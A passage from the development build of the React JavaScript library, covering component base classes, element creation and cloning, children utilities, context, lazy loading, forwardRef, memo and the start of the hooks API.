// breaks IE9: https://github.com/facebook/react/issues/13610
// eslint-disable-next-line react-internal/no-production-logging
Function.prototype.apply.call(console[level], console, argsWithFormat);
}
}
var didWarnStateUpdateForUnmountedComponent = {};
function warnNoop(publicInstance, callerName) {
{
var _constructor = publicInstance.constructor;
var componentName = _constructor && (_constructor.displayName || _constructor.name) || 'ReactClass';
var warningKey = componentName + "." + callerName;
if (didWarnStateUpdateForUnmountedComponent[warningKey]) {
return;
}
error("Can't call %s on a component that is not yet mounted. " + 'This is a no-op, but it might indicate a bug in your application. ' + 'Instead, assign to `this.state` directly or define a `state = {};` ' + 'class property with the desired state in the %s component.', callerName, componentName);
didWarnStateUpdateForUnmountedComponent[warningKey] = true;
}
}
/**
* This is the abstract API for an update queue.
*/
var ReactNoopUpdateQueue = {
/**
* Checks whether or not this composite component is mounted.
* @param {ReactClass} publicInstance The instance we want to test.
* @return {boolean} True if mounted, false otherwise.
* @protected
* @final
*/
isMounted: function (publicInstance) {
return false;
},
/**
* Forces an update. This should only be invoked when it is known with
* certainty that we are **not** in a DOM transaction.
*
* You may want to call this when you know that some deeper aspect of the
* component's state has changed but `setState` was not called.
*
* This will not invoke `shouldComponentUpdate`, but it will invoke
* `componentWillUpdate` and `componentDidUpdate`.
*
* @param {ReactClass} publicInstance The instance that should rerender.
* @param {?function} callback Called after component is updated.
* @param {?string} callerName name of the calling function in the public API.
* @internal
*/
enqueueForceUpdate: function (publicInstance, callback, callerName) {
warnNoop(publicInstance, 'forceUpdate');
},
/**
* Replaces all of the state. Always use this or `setState` to mutate state.
* You should treat `this.state` as immutable.
*
* There is no guarantee that `this.state` will be immediately updated, so
* accessing `this.state` after calling this method may return the old value.
*
* @param {ReactClass} publicInstance The instance that should rerender.
* @param {object} completeState Next state.
* @param {?function} callback Called after component is updated.
* @param {?string} callerName name of the calling function in the public API.
* @internal
*/
enqueueReplaceState: function (publicInstance, completeState, callback, callerName) {
warnNoop(publicInstance, 'replaceState');
},
/**
* Sets a subset of the state. This only exists because _pendingState is
* internal. This provides a merging strategy that is not available to deep
* properties which is confusing. TODO: Expose pendingState or don't use it
* during the merge.
*
* @param {ReactClass} publicInstance The instance that should rerender.
* @param {object} partialState Next partial state to be merged with state.
* @param {?function} callback Called after component is updated.
* @param {?string} Name of the calling function in the public API.
* @internal
*/
enqueueSetState: function (publicInstance, partialState, callback, callerName) {
warnNoop(publicInstance, 'setState');
}
};
var emptyObject = {};
{
Object.freeze(emptyObject);
}
/**
* Base class helpers for the updating state of a component.
*/
function Component(props, context, updater) {
this.props = props;
this.context = context; // If a component has string refs, we will assign a different object later.
this.refs = emptyObject; // We initialize the default updater but the real one gets injected by the
// renderer.
this.updater = updater || ReactNoopUpdateQueue;
}
Component.prototype.isReactComponent = {};
/**
* Sets a subset of the state. Always use this to mutate
* state. You should treat `this.state` as immutable.
*
* There is no guarantee that `this.state` will be immediately updated, so
* accessing `this.state` after calling this method may return the old value.
*
* There is no guarantee that calls to `setState` will run synchronously,
* as they may eventually be batched together. You can provide an optional
* callback that will be executed when the call to setState is actually
* completed.
*
* When a function is provided to setState, it will be called at some point in
* the future (not synchronously). It will be called with the up to date
* component arguments (state, props, context). These values can be different
* from this.* because your function may be called after receiveProps but before
* shouldComponentUpdate, and this new state, props, and context will not yet be
* assigned to this.
*
* @param {object|function} partialState Next partial state or function to
* produce next partial state to be merged with current state.
* @param {?function} callback Called after state is updated.
* @final
* @protected
*/
Component.prototype.setState = function (partialState, callback) {
if (!(typeof partialState === 'object' || typeof partialState === 'function' || partialState == null)) {
{
throw Error( "setState(...): takes an object of state variables to update or a function which returns an object of state variables." );
}
}
this.updater.enqueueSetState(this, partialState, callback, 'setState');
};
/**
* Forces an update. This should only be invoked when it is known with
* certainty that we are **not** in a DOM transaction.
*
* You may want to call this when you know that some deeper aspect of the
* component's state has changed but `setState` was not called.
*
* This will not invoke `shouldComponentUpdate`, but it will invoke
* `componentWillUpdate` and `componentDidUpdate`.
*
* @param {?function} callback Called after update is complete.
* @final
* @protected
*/
Component.prototype.forceUpdate = function (callback) {
this.updater.enqueueForceUpdate(this, callback, 'forceUpdate');
};
/**
* Deprecated APIs. These APIs used to exist on classic React classes but since
* we would like to deprecate them, we're not going to move them over to this
* modern base class. Instead, we define a getter that warns if it's accessed.
*/
{
var deprecatedAPIs = {
isMounted: ['isMounted', 'Instead, make sure to clean up subscriptions and pending requests in ' + 'componentWillUnmount to prevent memory leaks.'],
replaceState: ['replaceState', 'Refactor your code to use setState instead (see ' + 'https://github.com/facebook/react/issues/3236).']
};
var defineDeprecationWarning = function (methodName, info) {
Object.defineProperty(Component.prototype, methodName, {
get: function () {
warn('%s(...) is deprecated in plain JavaScript React classes. %s', info[0], info[1]);
return undefined;
}
});
};
for (var fnName in deprecatedAPIs) {
if (deprecatedAPIs.hasOwnProperty(fnName)) {
defineDeprecationWarning(fnName, deprecatedAPIs[fnName]);
}
}
}
function ComponentDummy() {}
ComponentDummy.prototype = Component.prototype;
/**
* Convenience component with default shallow equality check for sCU.
*/
function PureComponent(props, context, updater) {
this.props = props;
this.context = context; // If a component has string refs, we will assign a different object later.
this.refs = emptyObject;
this.updater = updater || ReactNoopUpdateQueue;
}
var pureComponentPrototype = PureComponent.prototype = new ComponentDummy();
pureComponentPrototype.constructor = PureComponent; // Avoid an extra prototype jump for these methods.
_assign(pureComponentPrototype, Component.prototype);
pureComponentPrototype.isPureReactComponent = true;
// an immutable object with a single mutable value
function createRef() {
var refObject = {
current: null
};
{
Object.seal(refObject);
}
return refObject;
}
var isArrayImpl = Array.isArray; // eslint-disable-next-line no-redeclare
function isArray(a) {
return isArrayImpl(a);
}
function getWrappedName(outerType, innerType, wrapperName) {
var displayName = outerType.displayName;
if (displayName) {
return displayName;
}
var functionName = innerType.displayName || innerType.name || '';
return functionName !== '' ? wrapperName + "(" + functionName + ")" : wrapperName;
} // Keep in sync with react-reconciler/getComponentNameFromFiber
function getContextName(type) {
return type.displayName || 'Context';
} // Note that the reconciler package should generally prefer to use getComponentNameFromFiber() instead.
function getComponentNameFromType(type) {
if (type == null) {
// Host root, text node or just invalid type.
return null;
}
{
if (typeof type.tag === 'number') {
error('Received an unexpected object in getComponentNameFromType(). ' + 'This is likely a bug in React. Please file an issue.');
}
}
if (typeof type === 'function') {
return type.displayName || type.name || null;
}
if (typeof type === 'string') {
return type;
}
switch (type) {
case exports.Fragment:
return 'Fragment';
case REACT_PORTAL_TYPE:
return 'Portal';
case exports.Profiler:
return 'Profiler';
case exports.StrictMode:
return 'StrictMode';
case exports.Suspense:
return 'Suspense';
case exports.SuspenseList:
return 'SuspenseList';
case REACT_CACHE_TYPE:
return 'Cache';
}
if (typeof type === 'object') {
switch (type.$$typeof) {
case REACT_CONTEXT_TYPE:
var context = type;
return getContextName(context) + '.Consumer';
case REACT_PROVIDER_TYPE:
var provider = type;
return getContextName(provider._context) + '.Provider';
case REACT_FORWARD_REF_TYPE:
return getWrappedName(type, type.render, 'ForwardRef');
case REACT_MEMO_TYPE:
var outerName = type.displayName || null;
if (outerName !== null) {
return outerName;
}
return getComponentNameFromType(type.type) || 'Memo';
case REACT_LAZY_TYPE:
{
var lazyComponent = type;
var payload = lazyComponent._payload;
var init = lazyComponent._init;
try {
return getComponentNameFromType(init(payload));
} catch (x) {
return null;
}
}
}
}
return null;
}
var hasOwnProperty = Object.prototype.hasOwnProperty;
var RESERVED_PROPS = {
key: true,
ref: true,
__self: true,
__source: true
};
var specialPropKeyWarningShown, specialPropRefWarningShown, didWarnAboutStringRefs;
{
didWarnAboutStringRefs = {};
}
function hasValidRef(config) {
{
if (hasOwnProperty.call(config, 'ref')) {
var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;
if (getter && getter.isReactWarning) {
return false;
}
}
}
return config.ref !== undefined;
}
function hasValidKey(config) {
{
if (hasOwnProperty.call(config, 'key')) {
var getter = Object.getOwnPropertyDescriptor(config, 'key').get;
if (getter && getter.isReactWarning) {
return false;
}
}
}
return config.key !== undefined;
}
function defineKeyPropWarningGetter(props, displayName) {
var warnAboutAccessingKey = function () {
{
if (!specialPropKeyWarningShown) {
specialPropKeyWarningShown = true;
error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);
}
}
};
warnAboutAccessingKey.isReactWarning = true;
Object.defineProperty(props, 'key', {
get: warnAboutAccessingKey,
configurable: true
});
}
function defineRefPropWarningGetter(props, displayName) {
var warnAboutAccessingRef = function () {
{
if (!specialPropRefWarningShown) {
specialPropRefWarningShown = true;
error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);
}
}
};
warnAboutAccessingRef.isReactWarning = true;
Object.defineProperty(props, 'ref', {
get: warnAboutAccessingRef,
configurable: true
});
}
function warnIfStringRefCannotBeAutoConverted(config) {
{
if (typeof config.ref === 'string' && ReactCurrentOwner.current && config.__self && ReactCurrentOwner.current.stateNode !== config.__self) {
var componentName = getComponentNameFromType(ReactCurrentOwner.current.type);
if (!didWarnAboutStringRefs[componentName]) {
error('Component "%s" contains the string ref "%s". ' + 'Support for string refs will be removed in a future major release. ' + 'This case cannot be automatically converted to an arrow function. ' + 'We ask you to manually fix this case by using useRef() or createRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref', componentName, config.ref);
didWarnAboutStringRefs[componentName] = true;
}
}
}
}
/**
* Factory method to create a new React element. This no longer adheres to
* the class pattern, so do not use new to call it. Also, instanceof check
* will not work. Instead test $$typeof field against Symbol.for('react.element') to check
* if something is a React Element.
*
* @param {*} type
* @param {*} props
* @param {*} key
* @param {string|object} ref
* @param {*} owner
* @param {*} self A *temporary* helper to detect places where `this` is
* different from the `owner` when React.createElement is called, so that we
* can warn. We want to get rid of owner and replace string `ref`s with arrow
* functions, and as long as `this` and owner are the same, there will be no
* change in behavior.
* @param {*} source An annotation object (added by a transpiler or otherwise)
* indicating filename, line number, and/or other information.
* @internal
*/
var ReactElement = function (type, key, ref, self, source, owner, props) {
var element = {
// This tag allows us to uniquely identify this as a React Element
$$typeof: REACT_ELEMENT_TYPE,
// Built-in properties that belong on the element
type: type,
key: key,
ref: ref,
props: props,
// Record the component responsible for creating this element.
_owner: owner
};
{
// The validation flag is currently mutative. We put it on
// an external backing store so that we can freeze the whole object.
// This can be replaced with a WeakMap once they are implemented in
// commonly used development environments.
element._store = {}; // To make comparing ReactElements easier for testing purposes, we make
// the validation flag non-enumerable (where possible, which should
// include every environment we run tests in), so the test framework
// ignores it.
Object.defineProperty(element._store, 'validated', {
configurable: false,
enumerable: false,
writable: true,
value: false
}); // self and source are DEV only properties.
Object.defineProperty(element, '_self', {
configurable: false,
enumerable: false,
writable: false,
value: self
}); // Two elements created in two different places should be considered
// equal for testing purposes and therefore we hide it from enumeration.
Object.defineProperty(element, '_source', {
configurable: false,
enumerable: false,
writable: false,
value: source
});
if (Object.freeze) {
Object.freeze(element.props);
Object.freeze(element);
}
}
return element;
};
/**
* Create and return a new ReactElement of the given type.
* See https://reactjs.org/docs/react-api.html#createelement
*/
function createElement(type, config, children) {
var propName; // Reserved names are extracted
var props = {};
var key = null;
var ref = null;
var self = null;
var source = null;
if (config != null) {
if (hasValidRef(config)) {
ref = config.ref;
{
warnIfStringRefCannotBeAutoConverted(config);
}
}
if (hasValidKey(config)) {
key = '' + config.key;
}
self = config.__self === undefined ? null : config.__self;
source = config.__source === undefined ? null : config.__source; // Remaining properties are added to a new props object
for (propName in config) {
if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {
props[propName] = config[propName];
}
}
} // Children can be more than one argument, and those are transferred onto
// the newly allocated props object.
var childrenLength = arguments.length - 2;
if (childrenLength === 1) {
props.children = children;
} else if (childrenLength > 1) {
var childArray = Array(childrenLength);
for (var i = 0; i < childrenLength; i++) {
childArray[i] = arguments[i + 2];
}
{
if (Object.freeze) {
Object.freeze(childArray);
}
}
props.children = childArray;
} // Resolve default props
if (type && type.defaultProps) {
var defaultProps = type.defaultProps;
for (propName in defaultProps) {
if (props[propName] === undefined) {
props[propName] = defaultProps[propName];
}
}
}
{
if (key || ref) {
var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;
if (key) {
defineKeyPropWarningGetter(props, displayName);
}
if (ref) {
defineRefPropWarningGetter(props, displayName);
}
}
}
return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);
}
function cloneAndReplaceKey(oldElement, newKey) {
var newElement = ReactElement(oldElement.type, newKey, oldElement.ref, oldElement._self, oldElement._source, oldElement._owner, oldElement.props);
return newElement;
}
/**
* Clone and return a new ReactElement using element as the starting point.
* See https://reactjs.org/docs/react-api.html#cloneelement
*/
function cloneElement(element, config, children) {
if (!!(element === null || element === undefined)) {
{
throw Error( "React.cloneElement(...): The argument must be a React element, but you passed " + element + "." );
}
}
var propName; // Original props are copied
var props = _assign({}, element.props); // Reserved names are extracted
var key = element.key;
var ref = element.ref; // Self is preserved since the owner is preserved.
var self = element._self; // Source is preserved since cloneElement is unlikely to be targeted by a
// transpiler, and the original source is probably a better indicator of the
// true owner.
var source = element._source; // Owner will be preserved, unless ref is overridden
var owner = element._owner;
if (config != null) {
if (hasValidRef(config)) {
// Silently steal the ref from the parent.
ref = config.ref;
owner = ReactCurrentOwner.current;
}
if (hasValidKey(config)) {
key = '' + config.key;
} // Remaining properties override existing props
var defaultProps;
if (element.type && element.type.defaultProps) {
defaultProps = element.type.defaultProps;
}
for (propName in config) {
if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {
if (config[propName] === undefined && defaultProps !== undefined) {
// Resolve default props
props[propName] = defaultProps[propName];
} else {
props[propName] = config[propName];
}
}
}
} // Children can be more than one argument, and those are transferred onto
// the newly allocated props object.
var childrenLength = arguments.length - 2;
if (childrenLength === 1) {
props.children = children;
} else if (childrenLength > 1) {
var childArray = Array(childrenLength);
for (var i = 0; i < childrenLength; i++) {
childArray[i] = arguments[i + 2];
}
props.children = childArray;
}
return ReactElement(element.type, key, ref, self, source, owner, props);
}
/**
* Verifies the object is a ReactElement.
* See https://reactjs.org/docs/react-api.html#isvalidelement
* @param {?object} object
* @return {boolean} True if `object` is a ReactElement.
* @final
*/
function isValidElement(object) {
return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;
}
var SEPARATOR = '.';
var SUBSEPARATOR = ':';
/**
* Escape and wrap key so it is safe to use as a reactid
*
* @param {string} key to be escaped.
* @return {string} the escaped key.
*/
function escape(key) {
var escapeRegex = /[=:]/g;
var escaperLookup = {
'=': '=0',
':': '=2'
};
var escapedString = key.replace(escapeRegex, function (match) {
return escaperLookup[match];
});
return '$' + escapedString;
}
/**
* TODO: Test that a single child and an array with one item have the same key
* pattern.
*/
var didWarnAboutMaps = false;
var userProvidedKeyEscapeRegex = /\/+/g;
function escapeUserProvidedKey(text) {
return text.replace(userProvidedKeyEscapeRegex, '$&/');
}
/**
* Generate a key string that identifies a element within a set.
*
* @param {*} element A element that could contain a manual key.
* @param {number} index Index that is used if a manual key is not provided.
* @return {string}
*/
function getElementKey(element, index) {
// Do some typechecking here since we call this blindly. We want to ensure
// that we don't block potential future ES APIs.
if (typeof element === 'object' && element !== null && element.key != null) {
// Explicit key
return escape('' + element.key);
} // Implicit key determined by the index in the set
return index.toString(36);
}
function mapIntoArray(children, array, escapedPrefix, nameSoFar, callback) {
var type = typeof children;
if (type === 'undefined' || type === 'boolean') {
// All of the above are perceived as null.
children = null;
}
var invokeCallback = false;
if (children === null) {
invokeCallback = true;
} else {
switch (type) {
case 'string':
case 'number':
invokeCallback = true;
break;
case 'object':
switch (children.$$typeof) {
case REACT_ELEMENT_TYPE:
case REACT_PORTAL_TYPE:
invokeCallback = true;
}
}
}
if (invokeCallback) {
var _child = children;
var mappedChild = callback(_child); // If it's the only child, treat the name as if it was wrapped in an array
// so that it's consistent if the number of children grows:
var childKey = nameSoFar === '' ? SEPARATOR + getElementKey(_child, 0) : nameSoFar;
if (isArray(mappedChild)) {
var escapedChildKey = '';
if (childKey != null) {
escapedChildKey = escapeUserProvidedKey(childKey) + '/';
}
mapIntoArray(mappedChild, array, escapedChildKey, '', function (c) {
return c;
});
} else if (mappedChild != null) {
if (isValidElement(mappedChild)) {
mappedChild = cloneAndReplaceKey(mappedChild, // Keep both the (mapped) and old keys if they differ, just as
// traverseAllChildren used to do for objects as children
escapedPrefix + ( // $FlowFixMe Flow incorrectly thinks React.Portal doesn't have a key
mappedChild.key && (!_child || _child.key !== mappedChild.key) ? // $FlowFixMe Flow incorrectly thinks existing element's key can be a number
escapeUserProvidedKey('' + mappedChild.key) + '/' : '') + childKey);
}
array.push(mappedChild);
}
return 1;
}
var child;
var nextName;
var subtreeCount = 0; // Count of children found in the current subtree.
var nextNamePrefix = nameSoFar === '' ? SEPARATOR : nameSoFar + SUBSEPARATOR;
if (isArray(children)) {
for (var i = 0; i < children.length; i++) {
child = children[i];
nextName = nextNamePrefix + getElementKey(child, i);
subtreeCount += mapIntoArray(child, array, escapedPrefix, nextName, callback);
}
} else {
var iteratorFn = getIteratorFn(children);
if (typeof iteratorFn === 'function') {
var iterableChildren = children;
{
// Warn about using Maps as children
if (iteratorFn === iterableChildren.entries) {
if (!didWarnAboutMaps) {
warn('Using Maps as children is not supported. ' + 'Use an array of keyed ReactElements instead.');
}
didWarnAboutMaps = true;
}
}
var iterator = iteratorFn.call(iterableChildren);
var step;
var ii = 0;
while (!(step = iterator.next()).done) {
child = step.value;
nextName = nextNamePrefix + getElementKey(child, ii++);
subtreeCount += mapIntoArray(child, array, escapedPrefix, nextName, callback);
}
} else if (type === 'object') {
var childrenString = '' + children;
{
{
throw Error( "Objects are not valid as a React child (found: " + (childrenString === '[object Object]' ? 'object with keys {' + Object.keys(children).join(', ') + '}' : childrenString) + "). If you meant to render a collection of children, use an array instead." );
}
}
}
}
return subtreeCount;
}
/**
* Maps children that are typically specified as `props.children`.
*
* See https://reactjs.org/docs/react-api.html#reactchildrenmap
*
* The provided mapFunction(child, index) will be called for each
* leaf child.
*
* @param {?*} children Children tree container.
* @param {function(*, int)} func The map function.
* @param {*} context Context for mapFunction.
* @return {object} Object containing the ordered map of results.
*/
function mapChildren(children, func, context) {
if (children == null) {
return children;
}
var result = [];
var count = 0;
mapIntoArray(children, result, '', '', function (child) {
return func.call(context, child, count++);
});
return result;
}
/**
* Count the number of children that are typically specified as
* `props.children`.
*
* See https://reactjs.org/docs/react-api.html#reactchildrencount
*
* @param {?*} children Children tree container.
* @return {number} The number of children.
*/
function countChildren(children) {
var n = 0;
mapChildren(children, function () {
n++; // Don't return anything
});
return n;
}
/**
* Iterates through children that are typically specified as `props.children`.
*
* See https://reactjs.org/docs/react-api.html#reactchildrenforeach
*
* The provided forEachFunc(child, index) will be called for each
* leaf child.
*
* @param {?*} children Children tree container.
* @param {function(*, int)} forEachFunc
* @param {*} forEachContext Context for forEachContext.
*/
function forEachChildren(children, forEachFunc, forEachContext) {
mapChildren(children, function () {
forEachFunc.apply(this, arguments); // Don't return anything.
}, forEachContext);
}
/**
* Flatten a children object (typically specified as `props.children`) and
* return an array with appropriately re-keyed children.
*
* See https://reactjs.org/docs/react-api.html#reactchildrentoarray
*/
function toArray(children) {
return mapChildren(children, function (child) {
return child;
}) || [];
}
/**
* Returns the first child in a collection of children and verifies that there
* is only one child in the collection.
*
* See https://reactjs.org/docs/react-api.html#reactchildrenonly
*
* The current implementation of this function assumes that a single child gets
* passed without a wrapper, but the purpose of this helper function is to
* abstract away the particular structure of children.
*
* @param {?object} children Child collection structure.
* @return {ReactElement} The first and only `ReactElement` contained in the
* structure.
*/
function onlyChild(children) {
if (!isValidElement(children)) {
{
throw Error( "React.Children.only expected to receive a single React element child." );
}
}
return children;
}
function createContext(defaultValue) {
// TODO: Second argument used to be an optional `calculateChangedBits`
// function. Warn to reserve for future use?
var context = {
$$typeof: REACT_CONTEXT_TYPE,
// As a workaround to support multiple concurrent renderers, we categorize
// some renderers as primary and others as secondary. We only expect
// there to be two concurrent renderers at most: React Native (primary) and
// Fabric (secondary); React DOM (primary) and React ART (secondary).
// Secondary renderers store their context values on separate fields.
_currentValue: defaultValue,
_currentValue2: defaultValue,
// Used to track how many concurrent renderers this context currently
// supports within in a single renderer. Such as parallel server rendering.
_threadCount: 0,
// These are circular
Provider: null,
Consumer: null
};
context.Provider = {
$$typeof: REACT_PROVIDER_TYPE,
_context: context
};
var hasWarnedAboutUsingNestedContextConsumers = false;
var hasWarnedAboutUsingConsumerProvider = false;
var hasWarnedAboutDisplayNameOnConsumer = false;
{
// A separate object, but proxies back to the original context object for
// backwards compatibility. It has a different $$typeof, so we can properly
// warn for the incorrect usage of Context as a Consumer.
var Consumer = {
$$typeof: REACT_CONTEXT_TYPE,
_context: context
}; // $FlowFixMe: Flow complains about not setting a value, which is intentional here
Object.defineProperties(Consumer, {
Provider: {
get: function () {
if (!hasWarnedAboutUsingConsumerProvider) {
hasWarnedAboutUsingConsumerProvider = true;
error('Rendering <Context.Consumer.Provider> is not supported and will be removed in ' + 'a future major release. Did you mean to render <Context.Provider> instead?');
}
return context.Provider;
},
set: function (_Provider) {
context.Provider = _Provider;
}
},
_currentValue: {
get: function () {
return context._currentValue;
},
set: function (_currentValue) {
context._currentValue = _currentValue;
}
},
_currentValue2: {
get: function () {
return context._currentValue2;
},
set: function (_currentValue2) {
context._currentValue2 = _currentValue2;
}
},
_threadCount: {
get: function () {
return context._threadCount;
},
set: function (_threadCount) {
context._threadCount = _threadCount;
}
},
Consumer: {
get: function () {
if (!hasWarnedAboutUsingNestedContextConsumers) {
hasWarnedAboutUsingNestedContextConsumers = true;
error('Rendering <Context.Consumer.Consumer> is not supported and will be removed in ' + 'a future major release. Did you mean to render <Context.Consumer> instead?');
}
return context.Consumer;
}
},
displayName: {
get: function () {
return context.displayName;
},
set: function (displayName) {
if (!hasWarnedAboutDisplayNameOnConsumer) {
warn('Setting `displayName` on Context.Consumer has no effect. ' + "You should set it directly on the context with Context.displayName = '%s'.", displayName);
hasWarnedAboutDisplayNameOnConsumer = true;
}
}
}
}); // $FlowFixMe: Flow complains about missing properties because it doesn't understand defineProperty
context.Consumer = Consumer;
}
{
context._currentRenderer = null;
context._currentRenderer2 = null;
}
return context;
}
var Uninitialized = -1;
var Pending = 0;
var Resolved = 1;
var Rejected = 2;
function lazyInitializer(payload) {
if (payload._status === Uninitialized) {
var ctor = payload._result;
var thenable = ctor(); // Transition to the next state.
// This might throw either because it's missing or throws. If so, we treat it
// as still uninitialized and try again next time. Which is the same as what
// happens if the ctor or any wrappers processing the ctor throws. This might
// end up fixing it if the resolution was a concurrency bug.
thenable.then(function (moduleObject) {
if (payload._status === Pending || payload._status === Uninitialized) {
// Transition to the next state.
var resolved = payload;
resolved._status = Resolved;
resolved._result = moduleObject;
}
}, function (error) {
if (payload._status === Pending || payload._status === Uninitialized) {
// Transition to the next state.
var rejected = payload;
rejected._status = Rejected;
rejected._result = error;
}
});
if (payload._status === Uninitialized) {
// In case, we're still uninitialized, then we're waiting for the thenable
// to resolve. Set it as pending in the meantime.
var pending = payload;
pending._status = Pending;
pending._result = thenable;
}
}
if (payload._status === Resolved) {
var moduleObject = payload._result;
{
if (moduleObject === undefined) {
error('lazy: Expected the result of a dynamic imp' + 'ort() call. ' + 'Instead received: %s\n\nYour code should look like: \n ' + // Break up imports to avoid accidentally parsing them as dependencies.
'const MyComponent = lazy(() => imp' + "ort('./MyComponent'))\n\n" + 'Did you accidentally put curly braces around the import?', moduleObject);
}
}
{
if (!('default' in moduleObject)) {
error('lazy: Expected the result of a dynamic imp' + 'ort() call. ' + 'Instead received: %s\n\nYour code should look like: \n ' + // Break up imports to avoid accidentally parsing them as dependencies.
'const MyComponent = lazy(() => imp' + "ort('./MyComponent'))", moduleObject);
}
}
return moduleObject.default;
} else {
throw payload._result;
}
}
function lazy(ctor) {
var payload = {
// We use these fields to store the result.
_status: -1,
_result: ctor
};
var lazyType = {
$$typeof: REACT_LAZY_TYPE,
_payload: payload,
_init: lazyInitializer
};
{
// In production, this would just set it on the object.
var defaultProps;
var propTypes; // $FlowFixMe
Object.defineProperties(lazyType, {
defaultProps: {
configurable: true,
get: function () {
return defaultProps;
},
set: function (newDefaultProps) {
error('React.lazy(...): It is not supported to assign `defaultProps` to ' + 'a lazy component import. Either specify them where the component ' + 'is defined, or create a wrapping component around it.');
defaultProps = newDefaultProps; // Match production behavior more closely:
// $FlowFixMe
Object.defineProperty(lazyType, 'defaultProps', {
enumerable: true
});
}
},
propTypes: {
configurable: true,
get: function () {
return propTypes;
},
set: function (newPropTypes) {
error('React.lazy(...): It is not supported to assign `propTypes` to ' + 'a lazy component import. Either specify them where the component ' + 'is defined, or create a wrapping component around it.');
propTypes = newPropTypes; // Match production behavior more closely:
// $FlowFixMe
Object.defineProperty(lazyType, 'propTypes', {
enumerable: true
});
}
}
});
}
return lazyType;
}
function forwardRef(render) {
{
if (render != null && render.$$typeof === REACT_MEMO_TYPE) {
error('forwardRef requires a render function but received a `memo` ' + 'component. Instead of forwardRef(memo(...)), use ' + 'memo(forwardRef(...)).');
} else if (typeof render !== 'function') {
error('forwardRef requires a render function but was given %s.', render === null ? 'null' : typeof render);
} else {
if (render.length !== 0 && render.length !== 2) {
error('forwardRef render functions accept exactly two parameters: props and ref. %s', render.length === 1 ? 'Did you forget to use the ref parameter?' : 'Any additional parameter will be undefined.');
}
}
if (render != null) {
if (render.defaultProps != null || render.propTypes != null) {
error('forwardRef render functions do not support propTypes or defaultProps. ' + 'Did you accidentally pass a React component?');
}
}
}
var elementType = {
$$typeof: REACT_FORWARD_REF_TYPE,
render: render
};
{
var ownName;
Object.defineProperty(elementType, 'displayName', {
enumerable: false,
configurable: true,
get: function () {
return ownName;
},
set: function (name) {
ownName = name; // The inner component shouldn't inherit this display name in most cases,
// because the component may be used elsewhere.
// But it's nice for anonymous functions to inherit the name,
// so that our component-stack generation logic will display their frames.
// An anonymous function generally suggests a pattern like:
// React.forwardRef((props, ref) => {...});
// This kind of inner function is not used elsewhere so the side effect is okay.
if (!render.name && !render.displayName) {
render.displayName = name;
}
}
});
}
return elementType;
}
// Filter certain DOM attributes (e.g. src, href) if their values are empty strings.
var enableCache = false; // Only used in www builds.
var enableScopeAPI = false; // Experimental Create Event Handle API.
var warnOnSubscriptionInsideStartTransition = false;
var REACT_MODULE_REFERENCE = 0;
if (typeof Symbol === 'function') {
REACT_MODULE_REFERENCE = Symbol.for('react.module.reference');
}
function isValidElementType(type) {
if (typeof type === 'string' || typeof type === 'function') {
return true;
} // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).
if (type === exports.Fragment || type === exports.Profiler || type === REACT_DEBUG_TRACING_MODE_TYPE || type === exports.StrictMode || type === exports.Suspense || type === exports.SuspenseList || type === REACT_LEGACY_HIDDEN_TYPE || type === REACT_OFFSCREEN_TYPE || enableScopeAPI || enableCache ) {
return true;
}
if (typeof type === 'object' && type !== null) {
if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || // This needs to include all possible module reference object
// types supported by any Flight configuration anywhere since
// we don't know which Flight build this will end up being used
// with.
type.$$typeof === REACT_MODULE_REFERENCE || type.getModuleId !== undefined) {
return true;
}
}
return false;
}
function memo(type, compare) {
{
if (!isValidElementType(type)) {
error('memo: The first argument must be a component. Instead ' + 'received: %s', type === null ? 'null' : typeof type);
}
}
var elementType = {
$$typeof: REACT_MEMO_TYPE,
type: type,
compare: compare === undefined ? null : compare
};
{
var ownName;
Object.defineProperty(elementType, 'displayName', {
enumerable: false,
configurable: true,
get: function () {
return ownName;
},
set: function (name) {
ownName = name; // The inner component shouldn't inherit this display name in most cases,
// because the component may be used elsewhere.
// But it's nice for anonymous functions to inherit the name,
// so that our component-stack generation logic will display their frames.
// An anonymous function generally suggests a pattern like:
// React.memo((props) => {...});
// This kind of inner function is not used elsewhere so the side effect is okay.
if (!type.name && !type.displayName) {
type.displayName = name;
}
}
});
}
return elementType;
}
function resolveDispatcher() {
var dispatcher = ReactCurrentDispatcher.current;
{
if (dispatcher === null) {
error('Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' + ' one of the following reasons:\n' + '1. You might have mismatching versions of React and the renderer (such as React DOM)\n' + '2. You might be breaking the Rules of Hooks\n' + '3. You might have more than one copy of React in the same app\n' + 'See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.');
}
} // Will result in a null access error if accessed outside render phase. We
// intentionally don't throw our own error because this is in a hot path.
// Also helps ensure this is inlined.
return dispatcher;
}
function useContext(Context) {
var dispatcher = resolveDispatcher();
{
// TODO: add a more generic warning for invalid values.
if (Context._context !== undefined) {
var realContext = Context._context; // Don't deduplicate because this legitimately causes bugs
// and nobody should be using this in existing code.
if (realContext.Consumer === Context) {
error('Calling useContext(Context.Consumer) is not supported, may cause bugs, and will be ' + 'removed in a future major release. Did you mean to call useContext(Context) instead?');
} else if (realContext.Provider === Context) {
error('Calling useContext(Context.Provider) is not supported. ' + 'Did you mean to call useContext(Context) instead?');
}
}
}
return dispatcher.useContext(Context);
}
function useState(initialState) {
var dispatcher = resolveDispatcher();
return dispatcher.useState(initialState);
}
function useReducer(reducer, initialArg, init) {
var dispatcher = resolveDispatcher();
return dispatcher.useReducer(reducer, initialArg, init);
}
